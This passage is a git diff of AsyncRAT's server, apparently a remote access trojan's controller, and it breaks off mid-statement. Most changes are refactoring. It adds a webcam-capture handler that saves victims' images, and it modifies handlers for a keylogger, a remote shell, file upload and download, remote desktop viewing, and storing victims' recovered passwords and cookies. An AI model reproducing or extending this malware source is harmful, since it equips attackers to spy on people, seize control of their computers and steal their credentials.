Files[{FM.listView1.Groups[1].Items.Count}]"; } break; } case "reqUploadFile": { - if (Program.form1.InvokeRequired) + FormDownloadFile FD = (FormDownloadFile)Application.OpenForms[unpack_msgpack.ForcePathObject("ID").AsString]; + if (FD != null) { - Program.form1.BeginInvoke((MethodInvoker)(async () => - { - FormDownloadFile FD = (FormDownloadFile)Application.OpenForms[unpack_msgpack.ForcePathObject("ID").AsString]; - if (FD != null) - { - FD.C = client; - FD.timer1.Start(); - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "fileManager"; - msgpack.ForcePathObject("Command").AsString = "uploadFile"; - await msgpack.ForcePathObject("File").LoadFileAsBytes(FD.fullFileName); - msgpack.ForcePathObject("Name").AsString = FD.clientFullFileName; - ThreadPool.QueueUserWorkItem(FD.Send, msgpack.Encode2Bytes()); - } - })); + FD.Client = client; + FD.timer1.Start(); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "fileManager"; + msgpack.ForcePathObject("Command").AsString = "uploadFile"; + await msgpack.ForcePathObject("File").LoadFileAsBytes(FD.FullFileName); + msgpack.ForcePathObject("Name").AsString = FD.ClientFullFileName; + ThreadPool.QueueUserWorkItem(FD.Send, msgpack.Encode2Bytes()); } break; } case "error": { - if (Program.form1.InvokeRequired) + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; + if (FM != null) { - Program.form1.BeginInvoke((MethodInvoker)(() => - { - FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; - if (FM != null) - { - FM.toolStripStatusLabel3.Text = unpack_msgpack.ForcePathObject("Message").AsString; - } - })); + FM.listView1.Enabled = true; + FM.toolStripStatusLabel3.ForeColor = Color.Red; + FM.toolStripStatusLabel3.Text = unpack_msgpack.ForcePathObject("Message").AsString; } break; } @@ -164,7 +119,7 @@ namespace Server.Handle_Packet } catch { } } - public void SocketDownload(Clients client, MsgPack unpack_msgpack) + public async void SocketDownload(Clients client, MsgPack unpack_msgpack) { try { @@ -172,57 +127,42 @@ namespace Server.Handle_Packet { case "pre": { - if (Program.form1.InvokeRequired) - { - Program.form1.BeginInvoke((MethodInvoker)(() => - { - string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; - string file = unpack_msgpack.ForcePathObject("File").AsString; - string size = unpack_msgpack.ForcePathObject("Size").AsString; - FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; - if (SD != null) - { - SD.C = client; - SD.labelfile.Text = Path.GetFileName(file); - SD.dSize = Convert.ToInt64(size); - SD.timer1.Start(); - } - })); + string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; + string file = unpack_msgpack.ForcePathObject("File").AsString; + string size = unpack_msgpack.ForcePathObject("Size").AsString; + FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; + if (SD != null) + { + SD.Client = client; + SD.labelfile.Text = Path.GetFileName(file); + SD.FileSize = Convert.ToInt64(size); + SD.timer1.Start(); } break; } case "save": { - if (Program.form1.InvokeRequired) + try { - Program.form1.BeginInvoke((MethodInvoker)(async () => + string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; + FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; + if (SD != null) { - try + if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "")))) + return; + string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString); + if (File.Exists(filename)) { - string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; - FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; - if (SD != null) - { - if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "")))) - return; - string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString); - if (File.Exists(filename)) - { - File.Delete(filename); - await Task.Delay(500); - } - await unpack_msgpack.ForcePathObject("File").SaveBytesToFile(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString)); - if (SD != null) - { - SD.Close(); - } - } + File.Delete(filename); + await Task.Delay(500); } - catch { } - })); + await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString))); + SD.Close(); + } } + catch { } break; } } @@ -230,5 +170,59 @@ namespace Server.Handle_Packet } catch { } } + + private async Task SaveFileAsync(MsgPack unpack_msgpack, string name) + { + await unpack_msgpack.SaveBytesToFile(name); + } + + private List GetFolders(MsgPack unpack_msgpack, ListViewGroup listViewGroup) + { + string[] _folder = unpack_msgpack.ForcePathObject("Folder").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); + List lists = new List(); + int numFolders = 0; + for (int i = 0; i < _folder.Length; i++) + { + if (_folder[i].Length > 0) + { + ListViewItem lv = new ListViewItem(); + lv.Text = _folder[i]; + lv.ToolTipText = _folder[i + 1]; + lv.Group = listViewGroup; + lv.ImageIndex = 0; + lists.Add(lv); + numFolders += 1; + } + i += 1; + } + return lists; + } + + private List GetFiles(MsgPack unpack_msgpack, ListViewGroup listViewGroup, ImageList imageList1) + { + string[] _files = unpack_msgpack.ForcePathObject("File").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); + List lists = new List(); + for (int i = 0; i < _files.Length; i++) + { + if (_files[i].Length > 0) + { + ListViewItem lv = new ListViewItem(); + lv.Text = Path.GetFileName(_files[i]); + lv.ToolTipText = _files[i + 1]; + Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_files[i + 2]))); + + Program.form1.Invoke((MethodInvoker)(() => + { + imageList1.Images.Add(_files[i + 1], im); + })); + lv.ImageKey = _files[i + 1]; + lv.Group = listViewGroup; + lv.SubItems.Add(Methods.BytesToString(Convert.ToInt64(_files[i + 3]))); + lists.Add(lv); + } + i += 3; + } + return lists; + } } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs b/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs index d504fd2..c34cf36 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs @@ -1,6 +1,6 @@ using Server.Forms; using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Diagnostics; using System.Drawing; @@ -15,15 +15,11 @@ namespace Server.Handle_Packet { try { - if (Program.form1.InvokeRequired) - { - Program.form1.BeginInvoke((MethodInvoker)(() => - { FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID]; if (KL != null) { - KL.SB.Append(unpack_msgpack.ForcePathObject("Log").GetAsString()); - KL.richTextBox1.Text = KL.SB.ToString(); + KL.Sb.Append(unpack_msgpack.ForcePathObject("Log").GetAsString()); + KL.richTextBox1.Text = KL.Sb.ToString(); KL.richTextBox1.SelectionStart = KL.richTextBox1.TextLength; KL.richTextBox1.ScrollToCaret(); } @@ -33,8 +29,6 @@ namespace Server.Handle_Packet msgpack.ForcePathObject("Packet").AsString = "keyLogger"; msgpack.ForcePathObject("isON").AsString = "false"; client.Send(msgpack.Encode2Bytes()); - } - })); } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs b/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs index cd99f25..f749215 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs @@ -1,6 +1,6 @@ using System; using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using cGeoIp; using System.Drawing; using System.Windows.Forms; @@ -16,11 +16,11 @@ namespace Server.Handle_Packet { client.LV = new ListViewItem(); client.LV.Tag = client; - client.LV.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); + client.LV.Text = string.Format("{0}:{1}", client.TcpClient.RemoteEndPoint.ToString().Split(':')[0], client.TcpClient.LocalEndPoint.ToString().Split(':')[1]); string[] ipinf; try { - ipinf = new cGeoMain().GetIpInf(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); + ipinf = new cGeoMain().GetIpInf(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); } catch { ipinf = new string[] { "?", "?" }; } client.LV.SubItems.Add(ipinf[1]); @@ -34,24 +34,17 @@ namespace Server.Handle_Packet client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine; client.LV.ToolTipText += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString; client.ID = unpack_msgpack.ForcePathObject("HWID").AsString; - - if (Program.form1.listView1.InvokeRequired) + lock (Settings.Listview1Lock) { - Program.form1.listView1.BeginInvoke((MethodInvoker)(() => - { - lock (Settings.Listview1Lock) - { - Program.form1.listView1.Items.Add(client.LV); - Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); - } + Program.form1.listView1.Items.Add(client.LV); + Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); + } - if (Properties.Settings.Default.Notification == true) - { - Program.form1.notifyIcon1.BalloonTipText = $@"Connected -{client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} : {client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]}"; - Program.form1.notifyIcon1.ShowBalloonTip(100); - } - })); + if (Properties.Settings.Default.Notification == true) + { + Program.form1.notifyIcon1.BalloonTipText = $@"Connected +{client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} : {client.TcpClient.LocalEndPoint.ToString().Split(':')[1]}"; + Program.form1.notifyIcon1.ShowBalloonTip(100); } } catch { } @@ -60,24 +53,18 @@ namespace Server.Handle_Packet { Settings.Online.Add(client); } - new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green); + new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green); } public void Received(Clients client) { - if (Program.form1.listView1.InvokeRequired) + try { - Program.form1.listView1.BeginInvoke((MethodInvoker)(() => - { - try - { - lock (Settings.Listview1Lock) - if (client != null && client.LV != null) - client.LV.ForeColor = Color.Empty; - } - catch { } - })); + lock (Settings.Listview1Lock) + if (client != null && client.LV != null) + client.LV.ForeColor = Color.Empty; } + catch { } } } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleLogs.cs b/AsyncRAT-C#/Server/Handle Packet/HandleLogs.cs index 0c29d3c..43dfb6b 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleLogs.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleLogs.cs @@ -14,26 +14,12 @@ namespace Server.Handle_Packet { try { - if (Program.form1.listView2.InvokeRequired) + ListViewItem LV = new ListViewItem(); + LV.Text = DateTime.Now.ToLongTimeString(); + LV.SubItems.Add(Msg); + LV.ForeColor = color; + lock (Settings.Listview2Lock) { - Program.form1.listView2.BeginInvoke((MethodInvoker)(() => - { - ListViewItem LV = new ListViewItem(); - LV.Text = DateTime.Now.ToLongTimeString(); - LV.SubItems.Add(Msg); - LV.ForeColor = color; - lock (Settings.Listview2Lock) - { - Program.form1.listView2.Items.Insert(0, LV); - } - })); - } - else - { - ListViewItem LV = new ListViewItem(); - LV.Text = DateTime.Now.ToLongTimeString(); - LV.SubItems.Add(Msg); - LV.ForeColor = color; Program.form1.listView2.Items.Insert(0, LV); } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandlePing.cs b/AsyncRAT-C#/Server/Handle Packet/HandlePing.cs index 2301b2c..0e4f93d 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandlePing.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandlePing.cs @@ -1,5 +1,5 @@ using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System.Diagnostics; using System.Windows.Forms; @@ -9,22 +9,16 @@ namespace Server.Handle_Packet { public HandlePing(Clients client, MsgPack unpack_msgpack) { - if (Program.form1.listView1.InvokeRequired) + try { - Program.form1.listView1.BeginInvoke((MethodInvoker)(() => - { - try - { - lock (Settings.Listview1Lock) - if (client.LV != null) - client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString; - else - Debug.WriteLine("Temp socket pinged server"); - } - catch { } - })); + lock (Settings.Listview1Lock) + if (client.LV != null) + client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString; + else + Debug.WriteLine("Temp socket pinged server"); } + catch { } } } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleProcessManager.cs b/AsyncRAT-C#/Server/Handle Packet/HandleProcessManager.cs index 0aee30c..f863629 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleProcessManager.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleProcessManager.cs @@ -1,6 +1,6 @@ using Server.Forms; using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Drawing; using System.IO; @@ -14,33 +14,27 @@ namespace Server.Handle_Packet { try { - if (Program.form1.InvokeRequired) + FormProcessManager PM = (FormProcessManager)Application.OpenForms["processManager:" + client.ID]; + if (PM != null) { - Program.form1.BeginInvoke((MethodInvoker)(() => + PM.listView1.Items.Clear(); + string processLists = unpack_msgpack.ForcePathObject("Message").AsString; + string[] _NextProc = processLists.Split(new[] { "-=>" }, StringSplitOptions.None); + for (int i = 0; i < _NextProc.Length; i++) { - FormProcessManager PM = (FormProcessManager)Application.OpenForms["processManager:" + client.ID]; - if (PM != null) + if (_NextProc[i].Length > 0) { - PM.listView1.Items.Clear(); - string processLists = unpack_msgpack.ForcePathObject("Message").AsString; - string[] _NextProc = processLists.Split(new[] { "-=>" }, StringSplitOptions.None); - for (int i = 0; i < _NextProc.Length; i++) - { - if (_NextProc[i].Length > 0) - { - ListViewItem lv = new ListViewItem(); - lv.Text = Path.GetFileName(_NextProc[i]); - lv.SubItems.Add(_NextProc[i + 1]); - lv.ToolTipText = _NextProc[i]; - Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_NextProc[i + 2]))); - PM.imageList1.Images.Add(_NextProc[i + 1], im); - lv.ImageKey = _NextProc[i + 1]; - PM.listView1.Items.Add(lv); - } - i += 2; - } + ListViewItem lv = new ListViewItem(); + lv.Text = Path.GetFileName(_NextProc[i]); + lv.SubItems.Add(_NextProc[i + 1]); + lv.ToolTipText = _NextProc[i]; + Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_NextProc[i + 2]))); + PM.imageList1.Images.Add(_NextProc[i + 1], im); + lv.ImageKey = _NextProc[i + 1]; + PM.listView1.Items.Add(lv); } - })); + i += 2; + } } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs b/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs index 744a7ec..a351e83 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs @@ -1,5 +1,5 @@ using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Collections.Generic; using System.Drawing; @@ -26,11 +26,11 @@ namespace Server.Handle_Packet Directory.CreateDirectory(fullPath); File.WriteAllText(fullPath + "\\Password_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", pass.Replace("\n", Environment.NewLine)); File.WriteAllText(fullPath + "\\Cookies_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", cookies.Replace("\n", Environment.NewLine)); - new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple); + new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple); } else { - new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} has no passwords", Color.MediumPurple); + new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} has no passwords", Color.MediumPurple); } } catch { } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs index b846271..c5fbfbf 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs @@ -1,7 +1,7 @@ using Server.Forms; using Server.Helper; using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Diagnostics; using System.Drawing; @@ -10,58 +10,52 @@ using System.Windows.Forms; namespace Server.Handle_Packet { - public class HandleRemoteDesktop + public class HandleRemoteDesktop { public void Capture(Clients client, MsgPack unpack_msgpack) { try { - if (Program.form1.InvokeRequired) + FormRemoteDesktop RD = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString]; + try { - Program.form1.BeginInvoke((MethodInvoker)(() => + if (RD != null) { - FormRemoteDesktop RD = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString]; - try + if (RD.Client == null) { - if (RD != null) - { - if (RD.C2 == null) - { - RD.C2 = client; - RD.timer1.Start(); - byte[] RdpStream0 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); - Bitmap decoded0 = RD.decoder.DecodeData(new MemoryStream(RdpStream0)); - RD.rdSize = decoded0.Size; - // RD.Size = new Size(decoded0.Size.Width / 2, decoded0.Size.Height / 2); - } - byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); - Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); - - int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger()); - RD.numericUpDown2.Maximum = Screens - 1; - - if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20)) - { - RD.pictureBox1.Image = (Bitmap)decoded; - RD.RenderSW = Stopwatch.StartNew(); - } - RD.FPS++; - if (RD.sw.ElapsedMilliseconds >= 1000) - { - RD.Text = "RemoteDesktop:" + client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Methods.BytesToString(RdpStream.Length); - RD.FPS = 0; - RD.sw = Stopwatch.StartNew(); - } - } - else - { - client.Disconnected(); - return; - } + RD.Client = client; + RD.timer1.Start(); + byte[] RdpStream0 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); + Bitmap decoded0 = RD.decoder.DecodeData(new MemoryStream(RdpStream0)); + RD.rdSize = decoded0.Size; + RD.labelWait.Visible = false; } - catch (Exception ex) { Debug.WriteLine(ex.Message); } - })); + byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); + Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); + + int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger()); + RD.numericUpDown2.Maximum = Screens - 1; + + if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20)) + { + RD.pictureBox1.Image = decoded; + RD.RenderSW = Stopwatch.StartNew(); + } + RD.FPS++; + if (RD.sw.ElapsedMilliseconds >= 1000) + { + RD.Text = "RemoteDesktop:" + client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Methods.BytesToString(RdpStream.Length); + RD.FPS = 0; + RD.sw = Stopwatch.StartNew(); + } + } + else + { + client.Disconnected(); + return; + } } + catch (Exception ex) { Debug.WriteLine(ex.Message); } } catch { } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleReportWindow.cs b/AsyncRAT-C#/Server/Handle Packet/HandleReportWindow.cs index b0ff3a4..7ea4a1e 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleReportWindow.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleReportWindow.cs @@ -1,4 +1,4 @@ -using Server.Sockets; +using Server.Connection; using System; using System.Collections.Generic; using System.Drawing; @@ -13,17 +13,11 @@ namespace Server.Handle_Packet { public HandleReportWindow(Clients client, string title) { - new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} Opened [{title}]", Color.Blue); - if (Program.form1.InvokeRequired) + new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} Opened [{title}]", Color.Blue); + if (Properties.Settings.Default.Notification == true) { - Program.form1.BeginInvoke((MethodInvoker)(() => - { - if (Properties.Settings.Default.Notification == true) - { - Program.form1.notifyIcon1.BalloonTipText = $"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} Opened [{title}]"; - Program.form1.notifyIcon1.ShowBalloonTip(100); - } - })); + Program.form1.notifyIcon1.BalloonTipText = $"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} Opened [{title}]"; + Program.form1.notifyIcon1.ShowBalloonTip(100); } } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleShell.cs b/AsyncRAT-C#/Server/Handle Packet/HandleShell.cs index a749d6f..8468919 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleShell.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleShell.cs @@ -1,6 +1,6 @@ using Server.Forms; using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Collections.Generic; using System.Linq; @@ -14,18 +14,12 @@ namespace Server.Handle_Packet { public HandleShell(MsgPack unpack_msgpack, Clients client) { - if (Program.form1.InvokeRequired) + FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID]; + if (shell != null) { - Program.form1.BeginInvoke((MethodInvoker)(() => - { - FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID]; - if (shell != null) - { - shell.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("ReadInput").AsString); - shell.richTextBox1.SelectionStart = shell.richTextBox1.TextLength; - shell.richTextBox1.ScrollToCaret(); - } - })); + shell.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("ReadInput").AsString); + shell.richTextBox1.SelectionStart = shell.richTextBox1.TextLength; + shell.richTextBox1.ScrollToCaret(); } } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs b/AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs index 6f599ba..ba0d820 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs @@ -1,5 +1,5 @@ using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System.Diagnostics; using System.Drawing; using System.IO; @@ -13,37 +13,31 @@ namespace Server.Handle_Packet { try { - if (Program.form1.listView3.InvokeRequired) + if (client.LV2 == null && Program.form1.GetThumbnails.Tag == (object)"started") { - Program.form1.listView3.BeginInvoke((MethodInvoker)(() => + client.LV2 = new ListViewItem(); + client.LV2.Text = string.Format("{0}:{1}", client.TcpClient.RemoteEndPoint.ToString().Split(':')[0], client.TcpClient.LocalEndPoint.ToString().Split(':')[1]); + client.LV2.ToolTipText = client.ID; + using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) { - if (client.LV2 == null && Program.form1.GetThumbnails.Tag == (object)"started") + Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); + client.LV2.ImageKey = client.ID; + lock (Settings.Listview3Lock) { - client.LV2 = new ListViewItem(); - client.LV2.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); - client.LV2.ToolTipText = client.ID; - using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) - { - Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); - client.LV2.ImageKey = client.ID; - lock (Settings.Listview3Lock) - { - Program.form1.listView3.Items.Add(client.LV2); - } - } + Program.form1.listView3.Items.Add(client.LV2); } - else + } + } + else + { + using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) + { + lock (Settings.Listview3Lock) { - using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) - { - lock (Settings.Listview3Lock) - { - Program.form1.ThumbnailImageList.Images.RemoveByKey(client.ID); - Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); - } - } + Program.form1.ThumbnailImageList.Images.RemoveByKey(client.ID); + Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); } - })); + } } } catch { } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs b/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs new file mode 100644 index 0000000..961d86a --- /dev/null +++ b/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs @@ -0,0 +1,103 @@ +using Server.Forms; +using Server.Helper; +using Server.MessagePack; +using Server.Connection; +using System; +using System.Collections; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using System.Drawing.Imaging; + +namespace Server.Handle_Packet +{ + class HandleWebcam + { + public HandleWebcam(MsgPack unpack_msgpack, Clients client) + { + switch (unpack_msgpack.ForcePathObject("Command").AsString) + { + case "getWebcams": + { + FormWebcam webcam = (FormWebcam)Application.OpenForms["Webcam:" + unpack_msgpack.ForcePathObject("ID").AsString]; + try + { + if (webcam != null) + { + webcam.Client = client; + webcam.timer1.Start(); + foreach (string camDriver in unpack_msgpack.ForcePathObject("List").AsString.Split(new[] { "-=>" }, StringSplitOptions.None)) + { + if (!string.IsNullOrWhiteSpace(camDriver)) + webcam.comboBox1.Items.Add(camDriver); + } + webcam.comboBox1.SelectedIndex = 0; + webcam.labelWait.Visible = false; + if (webcam.comboBox1.Text != "None") + { + webcam.comboBox1.Enabled = true; + webcam.button1.Enabled = true; + webcam.btnSave.Enabled = true; + webcam.numericUpDown1.Enabled = true; + } + else + { + client.Disconnected(); + } + } + else + { + client.Disconnected(); + } + } + catch { } + break; + } + + case "capture": + { + FormWebcam webcam = (FormWebcam)Application.OpenForms["Webcam:" + unpack_msgpack.ForcePathObject("ID").AsString]; + try + { + if (webcam != null) + { + using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) + { + Image image = (Image)Image.FromStream(memoryStream).Clone(); + if (webcam.RenderSW.ElapsedMilliseconds >= (1000 / 20)) + { + webcam.pictureBox1.Image = image; + webcam.RenderSW = Stopwatch.StartNew(); + } + webcam.FPS++; + if (webcam.sw.ElapsedMilliseconds >= 1000) + { + if (webcam.SaveIt) + { + if (!Directory.Exists(webcam.FullPath)) + Directory.CreateDirectory(webcam.FullPath); + webcam.pictureBox1.Image.Save(webcam.FullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", ImageFormat.Jpeg); + } + webcam.Text = "Webcam:" + unpack_msgpack.ForcePathObject("ID").AsString + " FPS:" + webcam.FPS + " Screen:" + image.Width + " x " + image.Height + " Size:" + Methods.BytesToString(memoryStream.Length); + webcam.FPS = 0; + webcam.sw = Stopwatch.StartNew(); + } + } + } + else + { + client.Disconnected(); + } + } + catch { } + break; + } + } + } + } +} diff --git a/AsyncRAT-C#/Server/Handle Packet/Packet.cs b/AsyncRAT-C#/Server/Handle Packet/Packet.cs index a5dd08a..2b86af3 100644 --- a/AsyncRAT-C#/Server/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Server/Handle Packet/Packet.cs @@ -1,4 +1,4 @@ -using Server.Sockets; +using Server.Connection; using Server.MessagePack; using System; using System.Diagnostics; @@ -7,6 +7,7 @@ using Server.Forms; using System.Security.Cryptography; using System.IO; using System.Windows.Forms; +using Server.Algorithm; namespace Server.Handle_Packet { @@ -22,123 +23,139 @@ namespace Server.Handle_Packet client = (Clients)array[1]; MsgPack unpack_msgpack = new MsgPack(); unpack_msgpack.DecodeFromBytes(data); - switch (unpack_msgpack.ForcePathObject("Packet").AsString) + if (Program.form1.InvokeRequired) { - case "ClientInfo": + Program.form1.BeginInvoke((MethodInvoker)(() => + { + try { - new HandleListView().AddToListview(client, unpack_msgpack); - break; - } + switch (unpack_msgpack.ForcePathObject("Packet").AsString) + { + case "ClientInfo": + { + new HandleListView().AddToListview(client, unpack_msgpack); + break; + } - case "Ping": - { - new HandlePing(client, unpack_msgpack); - break; - } + case "Ping": + { + new HandlePing(client, unpack_msgpack); + break; + } - case "Logs": - { - new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} {unpack_msgpack.ForcePathObject("Message").AsString}", Color.Black); - break; - } + case "Logs": + { + new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} {unpack_msgpack.ForcePathObject("Message").AsString}", Color.Black); + break; + } - case "thumbnails": - { - new HandleThumbnails(client, unpack_msgpack); - break; - } + case "thumbnails": + { + new 